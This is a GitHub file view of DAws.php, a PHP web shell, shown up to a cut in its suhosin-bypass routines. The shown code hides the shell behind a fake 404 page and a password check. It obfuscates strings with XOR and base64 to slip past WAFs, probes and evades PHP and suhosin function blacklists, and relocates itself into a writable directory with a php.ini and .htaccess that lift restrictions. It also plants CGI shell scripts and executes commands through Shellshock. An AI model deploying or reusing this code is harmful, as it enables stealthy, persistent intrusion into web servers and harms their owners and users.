forked from dotcppfile/DAws
-
Notifications
You must be signed in to change notification settings - Fork 0
/
DAws.php
2465 lines (2187 loc) · 80 KB
/
DAws.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
@session_start(); //with error supression because using session_start() multiple times was causing an error on IIS for some reason which makes no sense at all.
//static 404 page
//-->
$static_fake_page = "
<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'>
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.</p>
<hr>
<address>".$_SERVER["SERVER_SOFTWARE"]." Server at ".$_SERVER['SERVER_ADDR']." Port 80</address>
</body></html>"; //this will be used if DAws fails to show a dynamic fake 404 page
/*
if (!isset($_SESSION["logged_in"])) {
if (isset($_POST["pass"])) {
if(md5($_POST["pass"]) == "11b53263cc917f33062363cef21ae6c3") { //DAws
$_SESSION["logged_in"] = True;
} else {
session_destroy();
header("HTTP/1.1 404 Not Found");
echo $static_fake_page;
exit;
}
} else {
session_destroy();
header("HTTP/1.1 404 Not Found");
echo $static_fake_page;
exit();
}
}*/
//<--
if (ob_get_level()) {
ob_end_clean(); //no point of having output buffering on yet
}
if (!isset($_SESSION['key'])) { //create our session key which will be used for encryption
$characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
$characters_length = strlen($characters);
$random_string = "";
for ($i = 0; $i < 10; $i++) { //length = 10 (length doens't really matter that much though, check our xor functions to understand why)
$random_string .= $characters[rand(0, $characters_length - 1)];
}
$_SESSION['key'] = $random_string;
}
if (!isset($_SESSION['windows'])) {
if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') { //checking if we're running on a Window's machine
$_SESSION["windows"] = True;
$_SESSION["windows_drive"] = realpath("\\"); //saving the values instead of using realpath multiple times later on
} else {
$_SESSION["windows"] = False;
}
}
//base64 recoded to bypass disablers
$base64ids = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "+", "/");
function bin_dec($string) {
$decimal = "";
for($i = 0; $i<strlen($string); $i++) {
$dec = intval($string{(strlen($string))-$i-1})*pow(2, $i);
$decimal+=$dec;
}
return intval($decimal);
}
function dec_bin($dec) {
$binary = "";
$current = intval($dec);
if ($current == 0) {
return "0";
}
while (1) {
if ($current == 1) {
$binary="1".$binary;
break;
}
$binary = ($current%2).$binary;
$current = intval($current/2);
}
return $binary;
}
function base64encoding($string) {
global $base64ids;
$binary = "";
for ($i = 0; $i<strlen($string); $i++) {
$charASCII = ord($string{$i});
$asciiBIN = dec_bin($charASCII);
if (strlen($asciiBIN) != 8) {
$asciiBIN = str_repeat("0", 8-strlen($asciiBIN)).$asciiBIN;
}
$binary.= $asciiBIN;
}
$array = array();
for ($j = 0; $j<strlen($binary); $j = $j + 6) {
$part = substr($binary, $j, 6);
array_push($array, $part);
}
if (strlen($array[count($array)-1]) != 6) {
$array[count($array)-1] = $array[count($array)-1].str_repeat("0", 6 - strlen($array[count($array)-1]));
}
$base64 = "";
foreach ($array as &$value) {
$value = bin_dec($value);
$value = $base64ids[$value];
$base64.=$value;
}
if ((strlen($base64) % 4) != 0) {
$base64.=str_repeat("=", 4-(strlen($base64) % 4));
}
return $base64;
}
function base64decoding($string) {
global $base64ids;
$string = str_replace("=", "", $string);
$binary = "";
for ($i = 0; $i < strlen($string); $i++) {
$charID = array_search($string{$i}, $base64ids);
$idBIN = dec_bin($charID);
if (strlen($idBIN) != 6) {
$idBIN = str_repeat("0", 6-strlen($idBIN)).$idBIN;
}
$binary.= $idBIN;
}
if (strlen($binary) %8 != 0) {
$binary = substr($binary, 0, strlen($binary)-(strlen($binary) %8));
}
$array = array();
for ($j = 0; $j<strlen($binary); $j = $j + 8) {
$part = substr($binary, $j, 8);
array_push($array, $part);
}
$text = "";
foreach ($array as &$value) {
$value = bin_dec($value);
$value = chr($value);
$text.=$value;
}
return $text;
}
function xor_this($string, $key=null) { //our 'random key' based xor encryption
if ($string == "") {
return $string;
}
if ($key == null) {
$key = $_SESSION['key'];
}
$outText = '';
for($i=0; $i<strlen($string);) {
for($j=0; ($j<strlen($key) && $i<strlen($string)); $j++,$i++) {
$outText .= $string{$i} ^ $key{$j};
}
}
return base64encoding($outText);
} //so basically every string character gets xored once by one key character. That key character is chosen by order
//example: string=dotcppfile key=1234
//d will get xored by 1
//o will get xored by 2
//etc
//the first p will get xored by 1 as well because we start all over when all the characters of our key gets used.
//this gets the job done at its best when it comes to bypassing security systems like WAFs, etc...
function unxor_this($string, $key=null) {
if ($string == "") {
return $string;
}
if ($key == null) {
$key = $_SESSION['key'];
}
return base64decoding(xor_this(base64decoding($string), $key));
}
//recursive glob used later on to find DAws's directory (first method)
function recursive_glob($path) {
$paths = glob($path."/*", GLOB_ONLYDIR);
foreach ($paths as $path) {
if ((is_readable($path)) && (is_writable($path))) {
return $path;
} else if ((installed_php("fileowner")) && (installed_php("posix_getpwuid"))) {
//we can chmod a direcotry that we own and gift it to our beloved DAws!
$fileowner = posix_getpwuid(fileowner($path));
$fileowner = $fileowner["name"];
if($_SESSION["process_owner"] == $fileowner) { //we own that folder
if (chmod($path, 0777)) { //successfully chmoded
return $path;
}
}
}
}
foreach ($paths as $path) {
$path = recursive_glob($path);
if ($path != "") {
return $path;
}
}
}
//recursive iterator used later on to find DAws's directory (second method)
function recursive_iterator($location) {
$iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(realpath($location)), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
$paths = array(realpath($location));
foreach ($iter as $path => $dir) {
if ($dir->isDir()) {
if ((is_readable($dir)) && (is_writable($dir))) {
return realpath($path);
} else if ((installed_php("fileowner")) && (installed_php("posix_getpwuid"))) {
//we can chmod a direcotry that we own and gift it to our beloved DAws!
$fileowner = posix_getpwuid(fileowner($dir));
$fileowner = $fileowner["name"];
if($_SESSION["process_owner"] == $fileowner) { //we own that folder
if (chmod($dir, 0777)) { //successfully chmoded
return realpath($path);
}
}
}
}
}
}
function get_php_ini($string) { //read from php.ini
$output = @ini_get($string);
if ($output == "") {
$output = @get_cfg_var($string);
}
return $output;
}
//check what's disabled by disable_functions and suhosin
$disabled_php = array();
$disabled_suhosin = array();
foreach (explode("," , get_php_ini(unxor_this("AAYHAhIcAzYKEAoMAAofHhU=", "dotcppfile"))) as $disabled) { //disable_functions
array_push($disabled_php, $disabled);
}
foreach (explode(",", get_php_ini(unxor_this("AAYHAhIcAzYPCQUcBwYD", "dotcppfile"))) as $disabled) { //disabled_classes
array_push($disabled_php, $disabled);
}
foreach (explode("," , get_php_ini(unxor_this("FxocDAMZCEcJHQEMARcfAkgPGQsHQRYPERMNBQUWEA==", "dotcppfile"))) as $disabled) { //suhosin.executor.func.blacklist
array_push($disabled_suhosin, $disabled);
}
$disabled_php = array_filter($disabled_php);
$disabled_suhosin = array_filter($disabled_suhosin);
$disabled_php = array_map('trim', $disabled_php);
$disabled_suhosin = array_map('trim', $disabled_suhosin);
function disabled_php($function_name) { //checks if a function is disabled by php
foreach ($GLOBALS["disabled_php"] as $value) {
if ($function_name == $value) {
return True;
}
}
return False;
}
function disabled_suhosin($function_name) { //checks if a function is disabled by suhosin
foreach ($GLOBALS["disabled_suhosin"] as $value) {
if ($function_name == $value) {
return True;
}
}
return False;
}
function installed_php($function=null, $class=null) { //checks if a function/class exists
if ($function != null) {
if (disabled_php("function_exists") == False) {
if (disabled_suhosin("function_exists") == False) {
if (function_exists($function)) {
return True;
} else {
return False;
}
} else {
if (bypass_suhosin("function_exists", $function)) {
return True;
} else {
return False;
}
}
} else {
ob_start();
$test = $function();
$return_value = ob_get_contents();
ob_end_clean();
if ((strpos($return_value, "error") == False) && (strpos($return_value, "Warning") == False)) {
return True;
} else {
return False;
}
}
} else {
if (disabled_php("class_exists") == False) {
if (disabled_suhosin("class_exists") == False) {
if (class_exists($class)) {
return True;
} else {
return False;
}
} else
if (bypass_suhosin("class_exists", $class)) {
return True;
} else {
return False;
}
} else {
ob_start();
$test = new $class();
$return_value = ob_get_contents();
ob_end_clean();
if ((strpos($return_value, "error") == False) && (strpos($return_value, "Warning") == False)) {
return True;
} else {
return False;
}
}
}
}
//dynamic 404 page -->
//Now the reason I don't like this much is because there's a lot of important code that needs to be ran first
//to make sure that we can show a dynamic fake 404 page while bypassing security systems
if (!isset($_SESSION["logged_in"])) {
$show_it = False;
if (isset($_POST["pass"])) {
if(md5($_POST["pass"]) == "11b53263cc917f33062363cef21ae6c3") { //DAws
$_SESSION["logged_in"] = True;
} else {
session_destroy();
@header("HTTP/1.1 404 Not Found");
$show_it = True;
}
} else {
session_destroy();
@header("HTTP/1.1 404 Not Found");
$show_it = True;
}
if ($show_it == True) {
$random_url = "";
if (isset($_SERVER['HTTPS'])) {
$random_url .= "https";
} else {
$random_url .= "http";
}
$random_string = time();
$random_url .= "://".$_SERVER['SERVER_NAME']."/".$random_string."/DAws.php"; //our random bitch
$output = @url_get_contents($random_url);
if ($output != "") {
echo str_replace("/".$random_string."/DAws.php", "/DAws.php", $output);
} else {
echo $static_fake_page;
}
exit();
}
}//<--
//finds current process's owner
if (!isset($_SESSION["process_owner"])) {
if (installed_php("posix_geteuid")) { //Linux
$_SESSION["process_owner"] = posix_getpwuid(posix_geteuid());
$_SESSION["process_owner"] = $_SESSION["process_owner"]["name"];
} else { //Linux and Windows
$_SESSION["process_owner"] = getenv('USERNAME');
}
}
//finds DAws's directory; a writeable and readable directory, move to it and drop our php.ini and .htaccess files that will
//make life easier if suphp is installed
if (!isset($_SESSION["daws_directory"])) {
$daws_dir = getcwd();
if ($_SESSION["windows"] == True) {
$_SESSION["slash"] = "\\"; //we can use this later on
} else {
$_SESSION["slash"] = "/";
}
//finding the web dir which will be used here and when deploying the CGI Scripts
//not using DOCUMENT_ROOT anymore because it may need to be hardcoded and reset, and fuck all of that
$array = explode($_SESSION["slash"], getcwd());
for ($i = 0; $i<(count(explode("/", $_SERVER["SCRIPT_NAME"]))-2); $i++) {
array_pop($array);
}
$_SESSION["web_dir"] = implode($_SESSION["slash"], $array);
//finding DAws's directory
if ((is_writable($daws_dir)) && (is_readable($daws_dir))) {
$_SESSION["daws_directory"] = $daws_dir; //no need to look further since we are in it
} else { //lets dance
$locations = array($_SESSION["web_dir"], realpath($_SESSION["slash"])); //we go for a random directory if a proper web directory wasn't found
foreach ($locations as $location) {
//uses the recursive glob function for old php versions
if (disabled_php("glob") == False) {
$_SESSION["daws_directory"] = recursive_glob(realpath($location));
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (installed_php(null, "RecursiveIteratorIterator") == True)) { //Iterator incoming!
$_SESSION["daws_directory"] = recursive_iterator($location);
}
if ((isset($_SESSION["daws_directory"])) && ($_SESSION["daws_directory"] != "")) {
break;
}
}
}
if (basename($_SESSION["daws_directory"]) != "DAws") { //We just landed, time to get ready for battle because we got some mofos to kill!
$_SESSION["daws_directory"] .= "/DAws";
@mkdir($_SESSION["daws_directory"]); //incase it already existed. We'll simply replace the old files of DAws with the new ones.
if (strpos($_SESSION["daws_directory"], $_SESSION["web_dir"]) !== False) {
//we clear all disablers, allow eval and url opening
$php_ini = "AAYHAhIcAzYKEAoMAAofHhVJUW8ABgcCEhwDNg8JBRwHBgNQW2MfEAwABwoeXgMRCQYRGxsRXhYTBw9LBgMVABscDxoYRVlPVkF6AxMBAxYNAVoGCBUFHBgKFkEQCgMRBAUJOgEZFQ9QTUYmCgNuDhgPHwc5HB4JOwkbExUeRlRMKgo=";
//and here we link that php.ini to suphp as a config file
//http://support.hostgator.com/articles/specialized-help/technical/how-to-get-your-php-ini-path-with-suphp
$htaccess ="<IfModule mod_suphp.c>\nsuPHP_ConfigPath ".$_SESSION["daws_directory"].$_SESSION["slash"]."php.ini\n</IfModule>";
write_to_file($_SESSION["daws_directory"]."/php.ini", unxor_this($php_ini, "dotcppfile"));
write_to_file($_SESSION["daws_directory"]."/.htaccess", $htaccess);
//and now we move our DAws to its directory if it's not there already
if (getcwd() != $_SESSION["daws_directory"]) {
copy($_SERVER["SCRIPT_FILENAME"], $_SESSION["daws_directory"]."/DAws.php");
header("Location: http://".$_SERVER['SERVER_NAME'].str_replace($_SESSION["web_dir"], "", $_SESSION["daws_directory"]."/DAws.php"));
}
}
}
}
function write_to_file($location, $string) {
$output = file_put_contents_extended($location, $string); //file_put_contents
if ($output != False) {
return;
}
$fp = fopen_extended($location, "w"); //fopen
if ($fp != False) {
fwrite($fp, $string);
fclose($fp);
return;
}
execute_command("echo ".escapeshellarg($string)." > $location"); //system commands
}
function read_file($location) {
if (filesize($location) == 0) { //empty files will cause file_get_contents to return false and fread to cause an error
return "";
}
$content = file_get_contents_extended($location); //file_get_contents
if ($content == False) {
return htmlspecialchars($content);
}
$fp = fopen_extended($location, "r"); //fopen
if ($fp != False) {
$content = htmlspecialchars(fread($fp, filesize($location)));
fclose($fp);
return $content;
}
if ($_SESSION["windows"] == True) { //system commands
return htmlspecialchars(execute_command("type $location"));
} else {
return htmlspecialchars(execute_command("cat $location"));
}
return "DAws: failed to read the file because file_get_contents_extended, fopen_extended and system commands failed."; //fail
}
function url_get_contents($url, $user_agent=null) { //used to download the source of a webpage
if ((installed_php("curl_version") == True) && (disabled_php("curl_init") == False)) { //using curl
if (disabled_suhosin("curl_init") == False) {
$ch = curl_init(str_replace(" ","%20",$url));
} else {
$ch = bypass_suhosin("curl_init", str_replace(" ","%20",$url));
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
if ($user_agent != null) { //used by shellshock (method 2)
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
}
$content = curl_exec($ch);
curl_close($ch);
return $content;
}
//for file_get_contents and fopen
if ($user_agent != null) {
$opts = array('http'=>array('header'=>"User-Agent: $user_agent\r\n"));
$context = stream_context_create($opts);
} else {
$context = null;
}
//using file_get_contents
$content = file_get_contents_extended($url, True, $context);
if ($content != False) {
return $content;
}
//using fopen
$fp = fopen_extended($url, "r", True, $context);
if ($fp != False) {
$content = fread($fp, filesize($url));
fclose($fp);
return $content;
}
//using system commands (no need to apply shellshock here since we're already using system commands...)
if ($_SESSION["windows"] == True) {
if (execute_command("bitsadmin", True) == True) { //bitsadmin is a nice choice here
return execute_command("bitsadmin.exe /Transfer DAwsDownloadJob $link $location > null; type $location");
} else if (strpos(execute_command("powershell.exe"), "Windows PowerShell")) { //powershell comes next
return execute_command("powershell.exe Invoke-WebRequest $link -OutFile $location > null; type $location");
} else {
return False; //sadly, nothing worked
}
} else { //curl or wget for Linux
if (execute_command("curl", True) == True) {
return execute_command("curl $url");
} else if (execute_command("wget", True) == True) {
return execute_command("wget -qO- $url");
} else {
return False;
}
}
}
if (!isset($_SESSION["cgi"])) { //setting up the cgi scripts
$cgi_htaccess = "bi4QBzgRCA0AABZPFwQZXRUKHgwUG1RNAxhGRw4EEGU7EwQZCQcfRU8qDAYTMyEgZg==";
$cgi_bash = "R05bARkeSQsNFgxlfgYTGAlJTiYLAQAGHgRLHRUVAVVUFxUIEkYEEQkDVmkVEw4GTEdGZX4AHx0LCAIBWQ8RABgfRktINDEqJjovIzI7JSsjTVQfUAMDDUxICk9TEF8uSEMPCgkCFQ0UTTpBNztCMl4/WV5MTUM5VUAERFAMRgsNFgFZQENdXQIMDwoAClQfUAMDDUxHF0BRUUBfRkYLR0QTVBAVFEZLH0pPQFRMF1IGYwkTBQNURxMfCwQNCwA=";
$cgi_bat = "JAoXCx9QCQ8Kb24KFwsfUCUGAhEBAQBOBAkWDFZFEAoMF18YEgQAbwEMHAxeemwACkUBFx0QBFACDA8KAApaFwgERg0JCUQLEQAfFANHGB0QZVwGExgJSUk0MSomOi8jMjslKyNVCltVWUZXTAAKDBsHFRRIHRQRbgwREQQFEgAARUkLEQAfFANJTgAKDBsHFRRIHRQRRk9WBxUTCQ0JSxAXAEF6AwMdQxVEDBkHTUwCDA8KAApaFwgEbEwPCABK";
$cgi_path = $_SESSION["daws_directory"]."/cgi";
if (isset($_SERVER['HTTPS'])) {
$protocol = "https";
} else {
$protocol = "http";
}
if (!file_exists($cgi_path)) {
mkdir($cgi_path);
}
//writing everything
write_to_file($cgi_path."/.htaccess", unxor_this($cgi_htaccess, "dotcppfile"));
if ($_SESSION["windows"] == True) {
write_to_file($cgi_path."/DAws.bat", unxor_this($cgi_bat, "dotcppfile"));
chmod($cgi_path."/DAws.bat", 0755);
$_SESSION["cgi_url"] = $protocol."://".$_SERVER['SERVER_NAME'].str_replace("\\", "/", str_replace(realpath($_SESSION["web_dir"]), "", $cgi_path))."/DAws.bat";
} else {
write_to_file($cgi_path."/DAws.sh", unxor_this($cgi_bash, "dotcppfile"));
chmod($cgi_path."/DAws.sh", 0755);
$_SESSION["cgi_url"] = $protocol."://".$_SERVER['SERVER_NAME'].str_replace($_SESSION["web_dir"], "", $cgi_path)."/DAws.sh";
}
//testing it
$test = url_get_contents($_SESSION["cgi_url"]."?command=".base64encoding("echo dotcppfile"));
if(($test != "") && (strpos($test, "Internal Server Error") === False) && (strpos($test, "QUERY_STRING") === False)) {
$_SESSION["cgi"] = True;
} else {
$_SESSION["cgi"] = False;
}
}
function execute_ssh($command) { //ssh
include_php($_SESSION["daws_directory"]."/SSH2.php"); //this should have been uploaded by the user himself
$ssh = new Net_SSH2('127.0.0.1', $_SESSION["ssh_port"]);
if ($ssh->login($_SESSION["ssh_user"], unserialize($_SESSION["ssh_rsa"]))) {
return $ssh->exec($command);
}
}
function shsh($command) { //shellshock (method 1)
$filename = $_SESSION["daws_directory"].time().".data";
putenv("PHP_LOL=() { x; }; $command > $filename 2>&1");
mail("[email protected]", "", "", "", "-bv");
if (file_exists($filename)) {
$content = read_file($filename);
unlink($filename);
} else {
$content = "";
}
return $content;
} //this was written by Starfall and I know that this will simply fail if sendmail wasn't installed
function shsh2($command) { //shellshock (method 2)
$filename = $_SESSION["daws_directory"].time().".data";
url_get_contents($_SESSION["shsh2_cgi_script"], "() { x; }; $command > $filename 2>&1"); //this will be updated later but lets keep it here for now
if (file_exists($filename)) {
$content = read_file($filename);
unlink($filename);
} else {
$content = "";
}
return $content;
} //this will send http requests with a shellshock user agent to a cgi script
if (!isset($_SESSION["shsh"])) { //testing shellshock1
if ($_SESSION["windows"] == False) { //more checks aren't necessary thanks to the upcoming test
if (shsh("echo Dyme and Starfall") == "Dyme and Starfall") {
$_SESSION["shsh"] = True;
} else {
$_SESSION["shsh"] = False;
}
} else {
$_SESSION["shsh"] = False;
}
}
if (!isset($_SESSION["shsh2"])) { //testing shellshock2
if ($_SESSION["windows"] == False) {
if (shsh("echo Dyme and Starfall") == "Dyme and Starfall") {
$_SESSION["shsh2"] = True;
} else {
$_SESSION["shsh2"] = False;
}
} else {
$_SESSION["shsh2"] = False;
}
}
//finds the location of ruby/perl/python for Windows
if (!isset($_SESSION["pathes_found"])) {
if ($_SESSION["windows"] == True) { //windows...
if (execute_command($_SESSION["windows_drive"]."Python27:python", True)) {
$_SESSION["python"] = $_SESSION["windows_drive"]."Python27\\python.exe";
}
if (execute_command($_SESSION["windows_drive"]."Python34:python", True)) {
$_SESSION["python"] = $_SESSION["windows_drive"]."Python34\\python.exe";
}
if (execute_command($_SESSION["windows_drive"]."Perl32\\bin:perl", True)) {
$_SESSION["perl"] = $_SESSION["windows_drive"]."Perl32\\bin\\perl.exe";
}
if (execute_command($_SESSION["windows_drive"]."Perl64\\bin:perl", True)) {
$_SESSION["perl"] = $_SESSION["windows_drive"]."Perl64\\bin\\perl.exe";
}
if (execute_command($_SESSION["windows_drive"]."Ruby21-x32\\bin:ruby", True)) {
$_SESSION["ruby"] = $_SESSION["windows_drive"]."Ruby21-x32\\bin\\ruby.exe";
}
if (execute_command($_SESSION["windows_drive"]."Ruby21-x64\\bin:ruby", True)) {
$_SESSION["ruby"] = $_SESSION["windows_drive"]."Ruby21-x64\\bin\\ruby.exe";
}
} else { //DAMN YOU BILL! Lol, this is much easier
$softwares = array("perl", "python", "ruby", "php");
foreach ($softwares as $software) {
if (execute_command($software, True)) {
$_SESSION[$software] = $software;
}
}
}
$_SESSION["pathes_found"] = True;
}
function bypass_suhosin($function, $arg1=null, $arg2=null, $arg3=null, $arg4=null, $arg5=null, $output_needed = True) { //I found no other way to deal with arguments... poor me.
if ($arg5 != null) {
if (disabled_php("call_user_func") == False) {
$return_value = call_user_func($function, $arg1, $arg2, $arg3, $arg4, $arg5);
} else if (disabled_php("call_user_func_array") == False) {
$return_value = call_user_func_array($function, array($arg1, $arg2, $arg3, $arg4, $arg5));
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
$ref_function = new ReflectionFunction($function);
$handle = $ref_function->invoke($arg1, $arg2, $arg3, $arg4, $arg5);
if (is_string($handle)) {
$return_value = $handle;
} else {
$return_value = fread($handle, 4096);
pclose($handle);
}
} else if ($output_needed == False) {
if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
$it = new ArrayIterator(array(""));
iterator_apply($it, $function, array($arg1, $arg2, $arg3, $arg4, $arg5));
} else if (disabled_php("register_tick_function") == False) {
declare(ticks=1);
register_tick_function($function, $arg1, $arg2, $arg3, $arg4, $arg5);
unregister_tick_function($function);
} else if (disabled_php("array_map") == False) {
array_map($function, array($arg1, $arg2, $arg3, $arg4, $arg5));
} else if (disabled_php("array_walk") == False) {
$x = array($arg1, $arg2, $arg3, $arg4, $arg5);
array_walk($x, $function);
} else if (disabled_php("array_filter") == False) {
array_filter(array($arg1, $arg2, $arg3, $arg4, $arg5), $function);
} else if (disabled_php("register_shutdown_function")) {
register_shutdown_function($function, $arg1, $arg2, $arg3, $arg4, $arg5);
}
}
} else if ($arg4 != null) {
if (disabled_php("call_user_func") == False) {
$return_value = call_user_func($function, $arg1, $arg2, $arg3, $arg4);
} else if (disabled_php("call_user_func_array") == False) {
$return_value = call_user_func_array($function, array($arg1, $arg2, $arg3, $arg4));
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
$ref_function = new ReflectionFunction($function);
$handle = $ref_function->invoke($arg1, $arg2, $arg3, $arg4);
if (is_string($handle)) {
$return_value = $handle;
} else {
$return_value = fread($handle, 4096);
pclose($handle);
}
} else if ($output_needed == False) {
if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
$it = new ArrayIterator(array(""));
iterator_apply($it, $function, array($arg1, $arg2, $arg3, $arg4));
} else if (disabled_php("register_tick_function") == False) {
declare(ticks=1);
register_tick_function($function, $arg1, $arg2, $arg3, $arg4);
unregister_tick_function($function);
} else if (disabled_php("array_map") == False) {
array_map($function, array($arg1, $arg2, $arg3, $arg4));
} else if (disabled_php("array_walk") == False) {
$x = array($arg1, $arg2, $arg3, $arg4);
array_walk($x, $function);
} else if (disabled_php("array_filter") == False) {
array_filter(array($arg1, $arg2, $arg3, $arg4), $function);
} else if (disabled_php("register_shutdown_function")) {
register_shutdown_function($function, $arg1, $arg2, $arg3, $arg4);
}
}
} else if ($arg3 != null) {
if (disabled_php("call_user_func") == False) {
$return_value = call_user_func($function, $arg1, $arg2, $arg3);
} else if (disabled_php("call_user_func_array") == False) {
$return_value = call_user_func_array($function, array($arg1, $arg2, $arg3));
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
$ref_function = new ReflectionFunction($function);
$handle = $ref_function->invoke($arg1, $arg2, $arg3);
if (is_string($handle)) {
$return_value = $handle;
} else {
$return_value = fread($handle, 4096);
pclose($handle);
}
} else if ($output_needed == False) {
if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
$it = new ArrayIterator(array(""));
iterator_apply($it, $function, array($arg1, $arg2, $arg3));
} else if (disabled_php("register_tick_function") == False) {
declare(ticks=1);
register_tick_function($function, $arg1, $arg2, $arg3);
unregister_tick_function($function);
} else if (disabled_php("array_map") == False) {
array_map($function, array($arg1, $arg2, $arg3));
} else if (disabled_php("array_walk") == False) {
$x = array($arg1, $arg2, $arg3);
array_walk($x, $function);
} else if (disabled_php("array_filter") == False) {
array_filter(array($arg1, $arg2, $arg3), $function);
} else if (disabled_php("register_shutdown_function")) {
register_shutdown_function($function, $arg1, $arg2, $arg3);
}
}
} else if ($arg2 != null) {
if (disabled_php("call_user_func") == False) {
$return_value = call_user_func($function, $arg1, $arg2);
} else if (disabled_php("call_user_func_array") == False) {
$return_value = call_user_func_array($function, array($arg1, $arg2));
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
$ref_function = new ReflectionFunction($function);
$handle = $ref_function->invoke($arg1, $arg2);
if (is_string($handle)) {
$return_value = $handle;
} else {
$return_value = fread($handle, 4096);
pclose($handle);
}
} else if ($output_needed == False) {
if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
$it = new ArrayIterator(array(""));
iterator_apply($it, $function, array($arg1, $arg2));
} else if (disabled_php("register_tick_function") == False) {
declare(ticks=1);
register_tick_function($function, $arg1, $arg2);
unregister_tick_function($function);
} else if (disabled_php("array_map") == False) {
array_map($function, array($arg1, $arg2));
} else if (disabled_php("array_walk") == False) {
$x = array($arg1, $arg2);
